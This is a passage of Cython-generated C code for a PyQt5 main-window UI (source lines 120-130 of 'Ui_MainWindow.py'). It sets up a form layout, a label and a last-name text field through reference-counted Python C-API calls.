__Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_formLayout, __pyx_t_3) < 0) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":121 * self.formLayoutWidget.setObjectName("formLayoutWidget") * self.formLayout = QtWidgets.QFormLayout(self.formLayoutWidget) * self.formLayout.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) # <<<<<<<<<<<<<< * self.formLayout.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) * self.formLayout.setContentsMargins(0, 0, 0, 0) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setFieldGrowthPolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_FieldsStayAtSizeHint); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":122 * self.formLayout = QtWidgets.QFormLayout(self.formLayoutWidget) * self.formLayout.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) * self.formLayout.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) # <<<<<<<<<<<<<< * self.formLayout.setContentsMargins(0, 0, 0, 0) * self.formLayout.setVerticalSpacing(2) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setRowWrapPolicy); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_DontWrapRows); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_9) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":123 * self.formLayout.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) * self.formLayout.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) * self.formLayout.setContentsMargins(0, 0, 0, 0) # <<<<<<<<<<<<<< * self.formLayout.setVerticalSpacing(2) * self.formLayout.setObjectName("formLayout") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__76, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":124 * self.formLayout.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) * self.formLayout.setContentsMargins(0, 0, 0, 0) * self.formLayout.setVerticalSpacing(2) # <<<<<<<<<<<<<< * self.formLayout.setObjectName("formLayout") * self.label = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setVerticalSpacing); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__77, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":125 * self.formLayout.setContentsMargins(0, 0, 0, 0) * self.formLayout.setVerticalSpacing(2) * self.formLayout.setObjectName("formLayout") # <<<<<<<<<<<<<< * self.label = QtWidgets.QLabel(self.formLayoutWidget) * self.label.setObjectName("label") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__78, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":126 * self.formLayout.setVerticalSpacing(2) * self.formLayout.setObjectName("formLayout") * self.label = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label.setObjectName("label") * self.formLayout.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label, __pyx_t_3) < 0) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":127 * self.formLayout.setObjectName("formLayout") * self.label = QtWidgets.QLabel(self.formLayoutWidget) * self.label.setObjectName("label") # <<<<<<<<<<<<<< * self.formLayout.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label) * self.R_lastname = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__79, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":128 * self.label = QtWidgets.QLabel(self.formLayoutWidget) * self.label.setObjectName("label") * self.formLayout.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label) # <<<<<<<<<<<<<< * self.R_lastname = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_lastname.setMinimumSize(QtCore.QSize(420, 0)) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_0, __pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_0, __pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_6 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_8, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 2+__pyx_t_8, __pyx_t_2); __pyx_t_1 = 0; __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":129 * self.label.setObjectName("label") * self.formLayout.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label) * self.R_lastname = QtWidgets.QLineEdit(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.R_lastname.setMinimumSize(QtCore.QSize(420, 0)) * self.R_lastname.setText("") */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname, __pyx_t_3) < 0) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":130 * self.formLayout.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label) * self.R_lastname = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_lastname.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.R_lastname.setText("") * self.R_lastname.setObjectName("R_lastname") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) 